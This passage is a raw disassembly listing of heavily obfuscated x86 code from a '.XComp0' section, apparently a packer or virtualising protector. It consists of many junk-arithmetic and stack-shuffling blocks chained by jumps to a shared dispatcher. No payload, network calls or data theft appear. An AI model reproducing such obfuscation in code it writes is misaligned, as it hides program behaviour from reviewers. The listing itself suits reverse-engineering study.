loc_58BC5B:				; CODE XREF: .XComp0:0058859Cj
		mov	ecx, 56270A3h
		xor	ebp, ecx
		pop	ecx
		not	ebp
		shl	ebp, 6
		jmp	loc_595B14
; ---------------------------------------------------------------------------


loc_58BC6D:				; CODE XREF: .XComp0:00589AA2j
		push	esi
		mov	esi, 6DED1756h
		xor	esi, 46BD68F3h
		and	ecx, esi
		jmp	loc_5842B1
; ---------------------------------------------------------------------------


loc_58BC80:				; CODE XREF: .XComp0:00594FA3j
		mov	ecx, 40012FDBh
		not	ecx
		sub	ecx, 8D5259F8h
		xor	ebx, ecx
		jmp	loc_5943FD
; ---------------------------------------------------------------------------


loc_58BC94:				; CODE XREF: .XComp0:00590F13j
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 7BD86EC5h
		push	ebp
		mov	ebp, 8427913Fh
		jmp	loc_5882C9
; ---------------------------------------------------------------------------


loc_58BCA8:				; CODE XREF: .XComp0:0058B887j
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_584C61
; ---------------------------------------------------------------------------


loc_58BCB4:				; CODE XREF: .XComp0:00587260j
		add	ebp, 6E6B0146h
		push	ebx
		mov	ebx, 1FE256A1h
		and	ebx, 240777D6h
		not	ebx
		or	ebx, 3C1A555Ah
		neg	ebx
		xor	ebx, 77147D5Bh
		sub	ebp, ebx
		pop	ebx
		mov	edi, ebp
		pop	ebp
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ebx, 3C21047h
		jmp	loc_587799
; ---------------------------------------------------------------------------


loc_58BCF0:				; CODE XREF: .XComp0:00586D62j
		mov	edi, 2975146Fh
		add	edi, 0FFFFFFFFh
		push	ebx
		push	edi
		push	ecx
		push	0E3947DAh
		pop	ecx
		or	ecx, 2D90A2Fh
		dec	ecx
		xor	ecx, 100A02E9h
		add	ecx, 2B920641h
		jmp	loc_592FE3
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58BD21:				; CODE XREF: .XComp0:00587043j
		push	31FFh
		mov	[esp], eax
		push	edx
		jmp	loc_58CD9D
; ---------------------------------------------------------------------------


loc_58BD2F:				; CODE XREF: .XComp0:0058A24Ej
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58BD34:				; CODE XREF: .XComp0:0058B1FFj
		push	47975C84h
		jmp	loc_596A5D
; ---------------------------------------------------------------------------


loc_58BD3E:				; CODE XREF: .XComp0:005950DAj
		add	cl, 0F9h
		sub	cl, 0FDh
		add	cl, dh
		push	eax
		mov	al, 9Fh
		add	al, 5Eh
		add	cl, al
		pop	eax
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_584E99
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 790D4D95h
		sub	ebx, 790D4D91h
		add	edx, ebx
		jmp	loc_59201C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_588239
; ---------------------------------------------------------------------------


loc_58BD85:				; CODE XREF: .XComp0:0059706Aj
		add	ecx, edx
		sub	ecx, 673345A5h
		pop	edx
		jmp	loc_58AE84
; ---------------------------------------------------------------------------


loc_58BD93:				; CODE XREF: .XComp0:005885F6j
		or	[esp], eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58BD9C:				; CODE XREF: .XComp0:00585AF7j
		not	ebx
		and	ebx, 6E3F220Fh
		jmp	loc_58E778
; ---------------------------------------------------------------------------


loc_58BDA9:				; CODE XREF: .XComp0:00583DCEj
		add	edi, 65BA13ADh
		add	edi, esi
		push	ecx
		push	esi
		push	47C07355h
		pop	esi
		xor	esi, 4B3637A0h
		xor	esi, 648433EBh
		jmp	loc_588FFC
; ---------------------------------------------------------------------------


loc_58BDCA:				; CODE XREF: .XComp0:00584466j
		neg	eax
		sub	eax, 615D4059h
		and	eax, 516A6C33h
		jmp	loc_5865BC
; ---------------------------------------------------------------------------


loc_58BDDB:				; CODE XREF: .XComp0:00595CE1j
		add	dh, bh
		jmp	loc_584096
; ---------------------------------------------------------------------------


loc_58BDE2:				; CODE XREF: .XComp0:0058EB45j
		add	esp, 4
		mov	edi, 0B62059h
		push	edi
		sub	dword ptr [esp], 0FFFFFFFFh
		pop	edi
		neg	edi
		sub	edi, 266C70CAh
		sub	edi, edx
		jmp	loc_590A85
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_595385
		add	esi, 5CA408B5h
		add	esi, 5F244CE0h
		add	esi, eax
		sub	esi, 5F244CE0h
		push	702Ah
		mov	[esp], ecx
		mov	ecx, 5CA408B5h
		push	ecx
		mov	ecx, 707646DAh
		add	esi, ecx
		pop	ecx
		sub	esi, ecx
		sub	esi, 707646DAh
		jmp	loc_591A38
; ---------------------------------------------------------------------------


loc_58BE44:				; CODE XREF: .XComp0:0058B963j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_595E23
; ---------------------------------------------------------------------------


loc_58BE5E:				; CODE XREF: .XComp0:00597D0Aj
		pop	edi
		jmp	loc_5956F0
; ---------------------------------------------------------------------------


loc_58BE64:				; CODE XREF: .XComp0:0058CDB8j
		or	cl, 7Bh
		xor	cl, 9Ah
		add	al, cl
		jmp	loc_596A94
; ---------------------------------------------------------------------------


loc_58BE71:				; CODE XREF: .XComp0:0058A86Fj
		sub	dword ptr [esp], 139F6C3Bh
		pop	ecx
		add	ecx, 139F6C3Bh
		jmp	loc_5913BC
; ---------------------------------------------------------------------------


loc_58BE84:				; CODE XREF: .XComp0:0058F3DCj
		or	ch, 0DBh
		sub	ch, 3Fh
		xor	al, ch
		jmp	loc_58B982
; ---------------------------------------------------------------------------


loc_58BE91:				; CODE XREF: .XComp0:00594FE3j
		shr	cl, 4
		jmp	loc_587E93
; ---------------------------------------------------------------------------


loc_58BE99:				; CODE XREF: .XComp0:00596E98j
		xor	ebx, 0F852F0DDh
		add	ecx, 6A772D06h
		add	ecx, ebx
		sub	ecx, 6A772D06h
		pop	ebx
		jmp	loc_589A7C
; ---------------------------------------------------------------------------


loc_58BEB3:				; CODE XREF: .XComp0:005882CBj
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 25842054h
		add	ebx, esi
		add	ebx, 25842054h
		push	dword ptr [esp]
		pop	esi
		push	ebx
		push	esp
		pop	ebx
		push	edx
		push	eax
		mov	eax, 4
		mov	edx, eax
		jmp	loc_592AE6
; ---------------------------------------------------------------------------


loc_58BEDC:				; CODE XREF: .XComp0:00584FF1j
		pop	ebx
		mov	edi, ecx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 0C85FFD8Dh
		sub	edx, edi
		pop	edi
		add	edx, 2DC27B0Fh
		add	edx, eax
		push	edi
		mov	edi, 2DC27B0Fh
		sub	edx, 77FF169Ah
		sub	edx, edi
		add	edx, 77FF169Ah
		jmp	loc_589E6B
; ---------------------------------------------------------------------------


loc_58BF13:				; CODE XREF: .XComp0:00588978j
		xor	esi, 0E00B3DAEh
		sub	eax, esi
		mov	esi, [esp]
		jmp	loc_590954
; ---------------------------------------------------------------------------


loc_58BF23:				; CODE XREF: .XComp0:00586ECFj
		sub	ecx, 17E9397Ah
		add	ecx, ebx
		add	ecx, 17E9397Ah
		jmp	loc_58AD0E
; ---------------------------------------------------------------------------


loc_58BF36:				; CODE XREF: .XComp0:0058B4A9j
		mov	[esp], ecx
		mov	ecx, 491B1B36h
		push	ebp
		mov	ebp, 491B1B32h
		xor	ecx, ebp
		pop	ebp
		sub	edx, 47EC0AB7h
		jmp	loc_59630B
; ---------------------------------------------------------------------------


loc_58BF52:				; CODE XREF: .XComp0:00597EE9j
		push	esi
		push	12516833h
		pop	esi
		dec	esi
		shl	esi, 1
		add	esi, 598E7E6Ch
		mov	ebx, esi
		pop	esi
		sub	edx, 39972DB1h
		add	edx, ebx
		add	edx, 39972DB1h
		pop	ebx
		add	edx, ebp
		sub	edx, 7E314ED0h
		jmp	loc_594081
; ---------------------------------------------------------------------------


loc_58BF81:				; CODE XREF: .XComp0:0058CE71j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 68A93C45h
		sub	[esp+8], ebx
		jmp	loc_584AB1
; ---------------------------------------------------------------------------


loc_58BF95:				; CODE XREF: .XComp0:00586597j
		inc	edi
		jmp	loc_597719
; ---------------------------------------------------------------------------


loc_58BF9B:				; CODE XREF: .XComp0:00588B74j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_592E11
; ---------------------------------------------------------------------------


loc_58BFA4:				; CODE XREF: .XComp0:0058EB9Fj
		shl	ah, 1
		neg	ah
		dec	ah
		not	ah
		add	ah, 35h
		sub	ch, ah
		jmp	loc_58F3DB
; ---------------------------------------------------------------------------


loc_58BFB6:				; CODE XREF: .XComp0:00597E54j
		mov	[esp], ebx
		mov	bl, 0D7h
		mov	ah, 9Ah
		jmp	loc_58B758
; ---------------------------------------------------------------------------


loc_58BFC2:				; CODE XREF: .XComp0:00593D02j
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58BFDA:				; CODE XREF: .XComp0:0058EB95j
		mov	[esp], eax
		mov	eax, esp
		push	esi
		jmp	loc_597ED7
; ---------------------------------------------------------------------------


loc_58BFE5:				; CODE XREF: .XComp0:00586A9Fj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 88D597Dh
		mov	eax, 0F772A684h
		jmp	loc_585299
; ---------------------------------------------------------------------------


loc_58C006:				; CODE XREF: .XComp0:0059409Cj
		push	1D077FBh
		pop	edi
		or	edi, 1C952975h
		jmp	loc_59447D
; ---------------------------------------------------------------------------


loc_58C017:				; CODE XREF: .XComp0:00598EC4j
		pop	ebx
		pop	ecx
		pop	edi
		xor	[esp+4], ebx
		jmp	loc_589B7D
; ---------------------------------------------------------------------------


loc_58C023:				; CODE XREF: .XComp0:0058B208j
		mov	al, 92h
		mov	ch, 0B2h
		jmp	loc_58A60B
; ---------------------------------------------------------------------------


loc_58C02C:				; CODE XREF: .XComp0:00593E9Aj
		add	esi, ebx
		pop	ebx
		jmp	loc_5913F1
; ---------------------------------------------------------------------------


loc_58C034:				; CODE XREF: .XComp0:00593BACj
		pop	ebx
		add	al, 2Fh
		jmp	loc_592E46
; ---------------------------------------------------------------------------


loc_58C03C:				; CODE XREF: .XComp0:00598E78j
		sub	edx, 5F860E47h
		add	edx, 2EB8281Bh
		jmp	loc_586ED4
; ---------------------------------------------------------------------------


loc_58C04D:				; CODE XREF: .XComp0:005896E5j
		mov	edx, 4
		mov	eax, edx
		pop	edx
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58EB81
; ---------------------------------------------------------------------------


loc_58C061:				; CODE XREF: .XComp0:00596D33j
		mov	edi, 560F5EECh
		xor	esi, edi
		pop	edi
		jmp	loc_597E98
; ---------------------------------------------------------------------------


loc_58C06E:				; CODE XREF: .XComp0:00586E55j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_594786
; ---------------------------------------------------------------------------


loc_58C077:				; CODE XREF: .XComp0:00585709j
		and	ebp, eax
		pop	eax
		add	ebp, 1
		jmp	loc_590D46
; ---------------------------------------------------------------------------


loc_58C085:				; CODE XREF: .XComp0:00584029j
		add	edx, edi
		jmp	loc_58D6A4
; ---------------------------------------------------------------------------


loc_58C08C:				; CODE XREF: .XComp0:00596976j
		mov	[esp], ecx
		push	761Fh
		mov	[esp], esi
		push	6DD02C50h
		jmp	loc_5981EA
; ---------------------------------------------------------------------------


loc_58C0A1:				; CODE XREF: .XComp0:00592C19j
		mov	[esp], eax
		mov	ah, 0AAh
		xor	ah, 0FCh
		mov	dh, ah
		pop	eax
		sub	ch, 9Fh
		add	ch, dh
		add	ch, 9Fh
		pop	dx
		push	7240h
		mov	[esp], ebx
		mov	bl, 96h
		add	ch, bl
		pop	ebx
		xor	al, ch
		jmp	loc_592508
; ---------------------------------------------------------------------------


loc_58C0CA:				; CODE XREF: .XComp0:005951E1j
		xor	esi, 8683DE5h
		jmp	loc_597F2C
; ---------------------------------------------------------------------------


loc_58C0D5:				; CODE XREF: .XComp0:00594F79j
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		jmp	loc_593724
; ---------------------------------------------------------------------------


loc_58C0E5:				; CODE XREF: .XComp0:00592BB9j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	52BAh
		mov	[esp], ebx
		mov	bh, 0Bh
		jmp	loc_5870BE
; ---------------------------------------------------------------------------


loc_58C0FB:				; CODE XREF: .XComp0:0058B487j
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	ecx
		mov	cl, dl
		mov	ah, cl
		pop	ecx
		push	ebx
		jmp	loc_58A912
; ---------------------------------------------------------------------------


loc_58C112:				; CODE XREF: .XComp0:00587E31j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_590231
; ---------------------------------------------------------------------------


loc_58C121:				; CODE XREF: .XComp0:0059713Fj
		sub	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58ED6B
; ---------------------------------------------------------------------------


loc_58C132:				; CODE XREF: .XComp0:00597714j
		xor	ebp, eax
		pop	eax
		add	edi, 4AEB0379h
		add	edi, 6F21408Eh
		add	edi, ebp
		jmp	loc_58AC1F
; ---------------------------------------------------------------------------


loc_58C148:				; CODE XREF: .XComp0:00592386j
		push	3CC37464h
		pop	edx
		jmp	loc_587C8D
; ---------------------------------------------------------------------------


loc_58C153:				; CODE XREF: .XComp0:0058850Aj
		push	dword ptr [esp]
		jmp	loc_585A72
; ---------------------------------------------------------------------------


loc_58C15B:				; CODE XREF: .XComp0:0058F9ADj
		or	esi, 2B8752ECh
		add	esi, 0B141F147h
		jmp	loc_5972F2
; ---------------------------------------------------------------------------


loc_58C16C:				; CODE XREF: .XComp0:005949A0j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, 348D520Bh
		jmp	loc_59145C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_587E85
; ---------------------------------------------------------------------------


loc_58C195:				; CODE XREF: .XComp0:00591F35j
		add	ebp, 2234299Fh
		jmp	loc_598E77
; ---------------------------------------------------------------------------


loc_58C1A0:				; CODE XREF: .XComp0:00587D57j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		add	[esp], eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58C1B7:				; CODE XREF: .XComp0:00597334j
		add	ebp, 18264A0Eh
		sub	ebp, 5546208Bh
		add	ebp, 73EC5BC1h
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		push	401A23FEh
		pop	esi
		xor	esi, ebp
		jmp	loc_5846C5
; ---------------------------------------------------------------------------


loc_58C1DD:				; CODE XREF: .XComp0:0058EAD2j
		push	6F77h
		mov	[esp], ecx
		mov	ecx, 53146738h
		shl	ecx, 1
		shl	ecx, 2
		jmp	loc_586A17
; ---------------------------------------------------------------------------


loc_58C1F4:				; CODE XREF: .XComp0:0058A88Bj
		pop	edx
		xor	ch, 36h
		mov	dh, 2Eh
		sub	dh, ch
		mov	ecx, [esp]
		jmp	loc_59521D
; ---------------------------------------------------------------------------


loc_58C204:				; CODE XREF: .XComp0:00594E20j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_592C3A
; ---------------------------------------------------------------------------


loc_58C213:				; CODE XREF: .XComp0:005895B6j
		dec	edx
		jmp	loc_595C55
; ---------------------------------------------------------------------------


loc_58C219:				; CODE XREF: .XComp0:00593131j
		dec	edi
		add	edi, 0D1FA5F7Ch
		mov	ebx, edi
		jmp	loc_59333D
; ---------------------------------------------------------------------------


loc_58C227:				; CODE XREF: .XComp0:00589917j
		not	edx
		xor	edx, 0BB7863D2h
		add	ecx, 3A106F7Ch
		sub	ecx, edx
		jmp	loc_589A8F
; ---------------------------------------------------------------------------


loc_58C23C:				; CODE XREF: .XComp0:005944F5j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_597DAD
; ---------------------------------------------------------------------------


loc_58C24A:				; CODE XREF: .XComp0:0058DC6Bj
		pop	dx
		add	cl, 8
		xor	al, cl
		pop	ecx
		push	edx
		mov	dh, 4Ch
		push	edx
		push	8DEh
		mov	[esp], ebx
		jmp	loc_587D38
; ---------------------------------------------------------------------------


loc_58C263:				; CODE XREF: .XComp0:0058F1B8j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	eax
		mov	eax, 4
		mov	edi, eax
		push	dword ptr [esp]
		jmp	loc_590885
; ---------------------------------------------------------------------------


loc_58C284:				; CODE XREF: .XComp0:00586919j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	5873h
		mov	[esp], ebx
		push	2994h
		mov	[esp], eax
		mov	eax, 26CD34ECh
		shr	eax, 5
		xor	eax, 0C9E3438h
		neg	eax
		sub	eax, 7C496137h
		push	esi
		push	66144B4Eh
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		pop	esi
		shr	esi, 3
		sub	esi, 894BB7BCh
		push	0C66h
		mov	[esp], edx
		mov	edx, esi
		mov	ebx, edx
		pop	edx
		pop	esi
		jmp	loc_5910A8
; ---------------------------------------------------------------------------


loc_58C2F7:				; CODE XREF: .XComp0:0058B183j
		push	ebx
		push	edi
		jmp	loc_5946D4
; ---------------------------------------------------------------------------


loc_58C2FE:				; CODE XREF: .XComp0:00592966j
		pop	ebx
		push	4CB5h
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58EF1A
; ---------------------------------------------------------------------------


loc_58C31F:				; CODE XREF: .XComp0:00587600j
		mov	eax, ebx
		pop	ebx
		push	eax
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		xor	edx, 69EB323Eh
		jmp	loc_584475
; ---------------------------------------------------------------------------


loc_58C335:				; CODE XREF: .XComp0:00598D61j
		xchg	eax, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_585F2F
; ---------------------------------------------------------------------------


loc_58C344:				; CODE XREF: .XComp0:00594F1Aj
		mov	edx, [esp]
		add	esp, 4
		shl	ebp, 4
		xor	ebp, 0A3BB7DDFh
		add	ecx, ebp
		pop	ebp
		jmp	loc_5979E8
; ---------------------------------------------------------------------------


loc_58C35B:				; CODE XREF: .XComp0:00594C77j
		mov	[esp], edx
		push	esi
		push	4734091Fh
		pop	esi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	esi, 705E12C9h
		sub	esi, ebx
		add	esi, 705E12C9h
		pop	ebx
		inc	esi
		push	edi
		mov	edi, 2432081Bh
		xor	edi, 426A0E95h
		sub	edi, 6526B929h
		jmp	loc_5925D5
; ---------------------------------------------------------------------------


loc_58C392:				; CODE XREF: .XComp0:00591287j
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58C39E:				; CODE XREF: .XComp0:00587BFCj
		mov	[esp], eax
		jmp	loc_588D46
; ---------------------------------------------------------------------------


loc_58C3A6:				; CODE XREF: .XComp0:00598C56j
		add	cx, 5ECAh
		xor	cx, 5076h
		jmp	loc_595426
; ---------------------------------------------------------------------------


loc_58C3B5:				; CODE XREF: .XComp0:005983BAj
		pop	eax
		sub	ah, bl
		jmp	loc_58A422
; ---------------------------------------------------------------------------


loc_58C3BD:				; CODE XREF: .XComp0:00587D6Fj
		mov	ecx, 150F0123h
		jmp	loc_583F7E
; ---------------------------------------------------------------------------


loc_58C3C7:				; CODE XREF: .XComp0:00590B1Ej
		neg	dh
		xor	dh, 9
		push	ax
		jmp	loc_59697B
; ---------------------------------------------------------------------------


loc_58C3D3:				; CODE XREF: .XComp0:005853A6j
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_58B422
; ---------------------------------------------------------------------------


loc_58C3DE:				; CODE XREF: .XComp0:0058DE28j
		add	esi, edi
		sub	esi, 5480065Fh
		pop	edi
		jmp	loc_58EABB
; ---------------------------------------------------------------------------


loc_58C3EC:				; CODE XREF: .XComp0:00592099j
		mov	ecx, 39415F75h
		shl	ecx, 8
		sub	ecx, 4AFC36B8h
		push	eax
		mov	eax, 428BD145h
		add	ecx, eax
		jmp	loc_592B31
; ---------------------------------------------------------------------------


loc_58C407:				; CODE XREF: .XComp0:005953B6j
		mov	ecx, [esp]
		jmp	loc_58843C
; ---------------------------------------------------------------------------


loc_58C40F:				; CODE XREF: .XComp0:00590DA0j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58C414:				; CODE XREF: .XComp0:00597CA2j
		mov	[esp], esi
		push	676Ch
		mov	[esp], ebx
		jmp	loc_58B968
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_593AB7
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5E2F7790h
		sub	eax, 3F985FE8h
		add	eax, ebx
		add	eax, 3F985FE8h
		jmp	loc_592ED7
; ---------------------------------------------------------------------------


loc_58C44C:				; CODE XREF: .XComp0:0058FE7Dj
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 68DD6455h
		xor	ecx, 0CC2CE1B4h
		jmp	loc_596298
; ---------------------------------------------------------------------------


loc_58C462:				; CODE XREF: .XComp0:00585023j
		push	edx
		mov	dl, 0DFh
		jmp	loc_58D788
; ---------------------------------------------------------------------------


loc_58C46A:				; CODE XREF: .XComp0:005961BFj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	eax, al
		jmp	loc_58A9F4
; ---------------------------------------------------------------------------


loc_58C47E:				; CODE XREF: .XComp0:005889C7j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58B0C7
; ---------------------------------------------------------------------------


loc_58C489:				; CODE XREF: .XComp0:00583EDBj
		mov	edx, esi
		pop	esi
		sub	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58C49E:				; CODE XREF: .XComp0:0058C789j
		push	edx
		mov	edx, 329F2687h
		neg	edx
		jmp	loc_5852AC
; ---------------------------------------------------------------------------


loc_58C4AB:				; CODE XREF: .XComp0:0058A2E6j
		or	eax, 0F72DE5h
		jmp	loc_58F81D
; ---------------------------------------------------------------------------


loc_58C4B5:				; CODE XREF: .XComp0:0058D814j
		pop	edx
		xor	edx, 60B738F9h
		jmp	loc_5976F1
; ---------------------------------------------------------------------------


loc_58C4C1:				; CODE XREF: .XComp0:00596C75j
		xor	al, ch
		mov	ecx, [esp]
		jmp	loc_58B300
; ---------------------------------------------------------------------------


loc_58C4CB:				; CODE XREF: .XComp0:00598164j
		add	esi, 7CDD63ACh
		add	esi, ebp
		jmp	loc_589949
; ---------------------------------------------------------------------------


loc_58C4D8:				; CODE XREF: .XComp0:00594DADj
		push	ecx
		jmp	loc_5967C3
; ---------------------------------------------------------------------------


loc_58C4DE:				; CODE XREF: .XComp0:0058D183j
		push	dword ptr [esp]
		pop	edx
		push	edx
		jmp	loc_58CE46
; ---------------------------------------------------------------------------


loc_58C4E8:				; CODE XREF: .XComp0:005844A8j
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 5C9C589Dh
		push	74E2h
		jmp	loc_58E227
; ---------------------------------------------------------------------------


loc_58C4FD:				; CODE XREF: .XComp0:0058B2FBj
		pop	esp
		push	ecx
		mov	ecx, 43525619h
		xor	ecx, 43525619h
		add	ecx, eax
		jmp	loc_58E500
; ---------------------------------------------------------------------------


loc_58C511:				; CODE XREF: .XComp0:0058FD43j
		push	7680h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5932B5
; ---------------------------------------------------------------------------


loc_58C546:				; CODE XREF: .XComp0:0058A1CCj
		xor	dl, ah
		jmp	loc_595ED2
; ---------------------------------------------------------------------------


loc_58C54D:				; CODE XREF: .XComp0:005852ECj
		add	eax, 624E4F76h
		add	eax, edx
		push	edx
		push	edi
		mov	edi, 58274E4Ah
		jmp	loc_5949A5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		jmp	loc_594A77
; ---------------------------------------------------------------------------


loc_58C56A:				; CODE XREF: .XComp0:005951BEj
		or	ebp, eax
		pop	eax
		jmp	loc_594B08
; ---------------------------------------------------------------------------


loc_58C572:				; CODE XREF: .XComp0:0059650Fj
		shl	edx, 1
		jmp	loc_588360
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		jmp	loc_58F575
; ---------------------------------------------------------------------------


loc_58C581:				; CODE XREF: .XComp0:005906A7j
		xor	esi, 58AF5855h
		add	esi, 4F56CEBBh
		jmp	loc_596B18
; ---------------------------------------------------------------------------


loc_58C592:				; CODE XREF: .XComp0:00597AC5j
		add	ebp, esi
		add	ebp, 252E4332h
		pop	esi
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58C5A0:				; CODE XREF: .XComp0:00584119j
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp]
		jmp	loc_586C52
; ---------------------------------------------------------------------------


loc_58C5AC:				; CODE XREF: .XComp0:00592431j
		mov	[esp], esi
		push	edx
		jmp	loc_5882AE
; ---------------------------------------------------------------------------


loc_58C5B5:				; CODE XREF: .XComp0:00583FF9j
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58C5D5:				; CODE XREF: .XComp0:005926AFj
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_595ACB
; ---------------------------------------------------------------------------


loc_58C5DF:				; CODE XREF: .XComp0:00591956j
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_58DCE5
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58C5F5:				; CODE XREF: .XComp0:00593309j
		add	edx, 318B132Dh
		add	edx, ebp
		sub	edx, 318B132Dh
		push	ebx
		mov	ebx, 0C52537Eh
		jmp	loc_58B417
; ---------------------------------------------------------------------------
		push	192Eh
		mov	[esp], edx
		push	51B67078h
		jmp	loc_587048
; ---------------------------------------------------------------------------


loc_58C620:				; CODE XREF: .XComp0:0058D5C9j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5854DF
; ---------------------------------------------------------------------------


loc_58C62E:				; CODE XREF: .XComp0:00586687j
		mov	ebx, 71964779h
		shl	ebx, 3
		or	ebx, 7B54630Bh
		sub	ebx, 0FFF67BC7h
		mov	eax, ebx
		pop	ebx
		jmp	loc_5944FA
; ---------------------------------------------------------------------------


loc_58C64A:				; CODE XREF: .XComp0:00591C82j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_598404
; ---------------------------------------------------------------------------


loc_58C653:				; CODE XREF: .XComp0:00588935j
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		push	esi
		jmp	loc_5900EB
; ---------------------------------------------------------------------------


loc_58C66A:				; CODE XREF: .XComp0:00588AFEj
		mov	esi, 70EC1FE7h
		sub	eax, 69D308F2h
		push	32AFh
		mov	[esp], edi
		jmp	loc_58EC62
; ---------------------------------------------------------------------------


loc_58C681:				; CODE XREF: .XComp0:0058DA5Fj
		shr	esi, 3
		add	esi, 1A0957A1h
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		jmp	loc_58D700
; ---------------------------------------------------------------------------


loc_58C695:				; CODE XREF: .XComp0:005866DFj
		xor	eax, 82581E33h
		add	esi, eax
		pop	eax
		jmp	loc_58A66A
; ---------------------------------------------------------------------------


loc_58C6A2:				; CODE XREF: .XComp0:0058FEFBj
		dec	ebp
		push	edx
		mov	edx, 0F4DABECAh
		sub	ebp, edx
		pop	edx
		jmp	loc_591B6D
; ---------------------------------------------------------------------------


loc_58C6B1:				; CODE XREF: .XComp0:00594FD0j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_592A62
; ---------------------------------------------------------------------------


loc_58C6C8:				; CODE XREF: .XComp0:00588A55j
		add	edx, 4
		push	ebp
		push	edi
		mov	edi, 54976E35h
		mov	ebp, 54976E39h
		sub	ebp, edi
		pop	edi
		sub	edx, ebp
		jmp	loc_597E06
; ---------------------------------------------------------------------------


loc_58C6E4:				; CODE XREF: .XComp0:005878CFj
		add	ebp, 1
